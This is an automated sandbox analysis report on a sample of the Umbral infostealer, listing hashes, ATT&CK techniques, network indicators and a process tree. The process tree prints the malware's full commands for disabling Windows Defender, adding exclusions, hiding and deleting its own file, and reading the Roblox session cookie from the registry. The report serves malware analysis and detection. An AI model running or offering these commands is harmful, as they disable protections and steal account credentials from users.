umbral | 0350fdb32852f781665e056a04f318e94c746612f7b4e3cd430d808c894aae4c

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
12-05-2024 19:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

STEALERRR3000PRO.exe
Size

231KB
MD5

5a006cd74e0225a15746bee6928d62f1
SHA1

a17dabdb634d9667c3590436998252148a5fab92
SHA256

0350fdb32852f781665e056a04f318e94c746612f7b4e3cd430d808c894aae4c
SHA512

59d6b467cf48cf1aafaf13e1acfdd6ae4806403f0bc92e759590b04da4ecd719488300ecd412d92931e7b65daf0ab2229d7a165b31595334676b40942bb30f81
SSDEEP

6144:xloZM9rIkd8g+EtXHkv/iD4gQYPDJ6idFIJbGmTTNb8e1mvmoii:DoZOL+EP8gQYPDJ6idFIJbGmTxro3

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1748-1-0x000001E1CF5F0000-0x000001E1CF630000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3132	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	STEALERRR3000PRO.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3960	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2424	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3132	powershell.exe
3132	powershell.exe
2712	powershell.exe
2712	powershell.exe
4716	powershell.exe
4716	powershell.exe
2936	powershell.exe
2936	powershell.exe
3156	powershell.exe
3156	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	STEALERRR3000PRO.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeIncreaseQuotaPrivilege	3884	wmic.exe
Token: SeSecurityPrivilege	3884	wmic.exe
Token: SeTakeOwnershipPrivilege	3884	wmic.exe
Token: SeLoadDriverPrivilege	3884	wmic.exe
Token: SeSystemProfilePrivilege	3884	wmic.exe
Token: SeSystemtimePrivilege	3884	wmic.exe
Token: SeProfSingleProcessPrivilege	3884	wmic.exe
Token: SeIncBasePriorityPrivilege	3884	wmic.exe
Token: SeCreatePagefilePrivilege	3884	wmic.exe
Token: SeBackupPrivilege	3884	wmic.exe
Token: SeRestorePrivilege	3884	wmic.exe
Token: SeShutdownPrivilege	3884	wmic.exe
Token: SeDebugPrivilege	3884	wmic.exe
Token: SeSystemEnvironmentPrivilege	3884	wmic.exe
Token: SeRemoteShutdownPrivilege	3884	wmic.exe
Token: SeUndockPrivilege	3884	wmic.exe
Token: SeManageVolumePrivilege	3884	wmic.exe
Token: 33	3884	wmic.exe
Token: 34	3884	wmic.exe
Token: 35	3884	wmic.exe
Token: 36	3884	wmic.exe
Token: SeIncreaseQuotaPrivilege	3884	wmic.exe
Token: SeSecurityPrivilege	3884	wmic.exe
Token: SeTakeOwnershipPrivilege	3884	wmic.exe
Token: SeLoadDriverPrivilege	3884	wmic.exe
Token: SeSystemProfilePrivilege	3884	wmic.exe
Token: SeSystemtimePrivilege	3884	wmic.exe
Token: SeProfSingleProcessPrivilege	3884	wmic.exe
Token: SeIncBasePriorityPrivilege	3884	wmic.exe
Token: SeCreatePagefilePrivilege	3884	wmic.exe
Token: SeBackupPrivilege	3884	wmic.exe
Token: SeRestorePrivilege	3884	wmic.exe
Token: SeShutdownPrivilege	3884	wmic.exe
Token: SeDebugPrivilege	3884	wmic.exe
Token: SeSystemEnvironmentPrivilege	3884	wmic.exe
Token: SeRemoteShutdownPrivilege	3884	wmic.exe
Token: SeUndockPrivilege	3884	wmic.exe
Token: SeManageVolumePrivilege	3884	wmic.exe
Token: 33	3884	wmic.exe
Token: 34	3884	wmic.exe
Token: 35	3884	wmic.exe
Token: 36	3884	wmic.exe
Token: SeIncreaseQuotaPrivilege	3220	wmic.exe
Token: SeSecurityPrivilege	3220	wmic.exe
Token: SeTakeOwnershipPrivilege	3220	wmic.exe
Token: SeLoadDriverPrivilege	3220	wmic.exe
Token: SeSystemProfilePrivilege	3220	wmic.exe
Token: SeSystemtimePrivilege	3220	wmic.exe
Token: SeProfSingleProcessPrivilege	3220	wmic.exe
Token: SeIncBasePriorityPrivilege	3220	wmic.exe
Token: SeCreatePagefilePrivilege	3220	wmic.exe
Token: SeBackupPrivilege	3220	wmic.exe
Token: SeRestorePrivilege	3220	wmic.exe
Token: SeShutdownPrivilege	3220	wmic.exe
Token: SeDebugPrivilege	3220	wmic.exe
Token: SeSystemEnvironmentPrivilege	3220	wmic.exe
Token: SeRemoteShutdownPrivilege	3220	wmic.exe
Token: SeUndockPrivilege	3220	wmic.exe
Token: SeManageVolumePrivilege	3220	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 5076	1748	STEALERRR3000PRO.exe	80
PID 1748 wrote to memory of 5076	1748	STEALERRR3000PRO.exe	80
PID 1748 wrote to memory of 3132	1748	STEALERRR3000PRO.exe	82
PID 1748 wrote to memory of 3132	1748	STEALERRR3000PRO.exe	82
PID 1748 wrote to memory of 2712	1748	STEALERRR3000PRO.exe	84
PID 1748 wrote to memory of 2712	1748	STEALERRR3000PRO.exe	84
PID 1748 wrote to memory of 4716	1748	STEALERRR3000PRO.exe	86
PID 1748 wrote to memory of 4716	1748	STEALERRR3000PRO.exe	86
PID 1748 wrote to memory of 2936	1748	STEALERRR3000PRO.exe	88
PID 1748 wrote to memory of 2936	1748	STEALERRR3000PRO.exe	88
PID 1748 wrote to memory of 3884	1748	STEALERRR3000PRO.exe	90
PID 1748 wrote to memory of 3884	1748	STEALERRR3000PRO.exe	90
PID 1748 wrote to memory of 3220	1748	STEALERRR3000PRO.exe	93
PID 1748 wrote to memory of 3220	1748	STEALERRR3000PRO.exe	93
PID 1748 wrote to memory of 688	1748	STEALERRR3000PRO.exe	96
PID 1748 wrote to memory of 688	1748	STEALERRR3000PRO.exe	96
PID 1748 wrote to memory of 3156	1748	STEALERRR3000PRO.exe	98
PID 1748 wrote to memory of 3156	1748	STEALERRR3000PRO.exe	98
PID 1748 wrote to memory of 3960	1748	STEALERRR3000PRO.exe	100
PID 1748 wrote to memory of 3960	1748	STEALERRR3000PRO.exe	100
PID 1748 wrote to memory of 2748	1748	STEALERRR3000PRO.exe	102
PID 1748 wrote to memory of 2748	1748	STEALERRR3000PRO.exe	102
PID 2748 wrote to memory of 2424	2748	cmd.exe	104
PID 2748 wrote to memory of 2424	2748	cmd.exe	104

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5076	attrib.exe

C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe
"C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe"
  2⤵
  - Views/modifies file attributes
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3220
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3156
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3960
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e8eb51096d6f6781456fef7df731d97

SHA1
ec2aaf851a618fb43c3d040a13a71997c25bda43

SHA256
96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

SHA512
0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
441a842138038e6385e430a90d7ea608

SHA1
7b3712d2cdd37e10ee9b3994131ee5175e920f01

SHA256
47592f3324179912d3bdba336b9e75568c2c5f1a9fb37c1ba9f0db9df822164c

SHA512
9dbddc3216f2a132ae3961b3aeac2c5b8828dcc9292f6c5bf1171c47453aa8687f92658818d771413492c0ea565e9ede17b9c03e427af9dc2ac21a78369a6666

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f29ff8b1e0f396a194a6782749830b8e

SHA1
2f8999b0eb2a20e591cf9a638c9fa84ddf4a1f69

SHA256
5bfd4968395fefaac3941c08fa11e86dfde1072137d9290aee3888f2a5d92d3f

SHA512
0689d665f2a7c9007c5dc4c14a53d5566d315d05d476bee82d64d02d40e3ffddca2b36419c76a8f7b7979958a62a7a93c939d1ed72fa7a844841ed06741b9e19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e8ad350bb24c7ab38efd0ef0553239c7

SHA1
887c19e4c11de19854458e26a1ed05b67a75bf29

SHA256
5cf85b38cbbf1a064a4f8001a0ec031993d44e46b8e65d713785c84916cb8ffd

SHA512
74fef147e98b8b576712c212174a7793deb619d54c7ac7956e38ed4e09202f0c93ae4ec9e89cd4d0ac79c481d30c5c3fc5a3d042537c74d7bffda1f8453aef6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxjord2t.4lc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1748-35-0x000001E1E9C20000-0x000001E1E9C3E000-memory.dmp

Filesize
120KB

Download
memory/1748-70-0x000001E1E9DA0000-0x000001E1E9DB2000-memory.dmp

Filesize
72KB

Download
memory/1748-69-0x000001E1E9D70000-0x000001E1E9D7A000-memory.dmp

Filesize
40KB

Download
memory/1748-0-0x00007FFEBB1D3000-0x00007FFEBB1D5000-memory.dmp

Filesize
8KB

Download
memory/1748-87-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/1748-2-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/1748-1-0x000001E1CF5F0000-0x000001E1CF630000-memory.dmp

Filesize
256KB

Download
memory/1748-34-0x000001E1E9E50000-0x000001E1E9EA0000-memory.dmp

Filesize
320KB

Download
memory/1748-33-0x000001E1E9DD0000-0x000001E1E9E46000-memory.dmp

Filesize
472KB

Download
memory/3132-12-0x0000027FFD120000-0x0000027FFD142000-memory.dmp

Filesize
136KB

Download
memory/3132-19-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/3132-16-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/3132-15-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/3132-14-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/3132-13-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download
memory/3132-3-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

Filesize
10.8MB

Download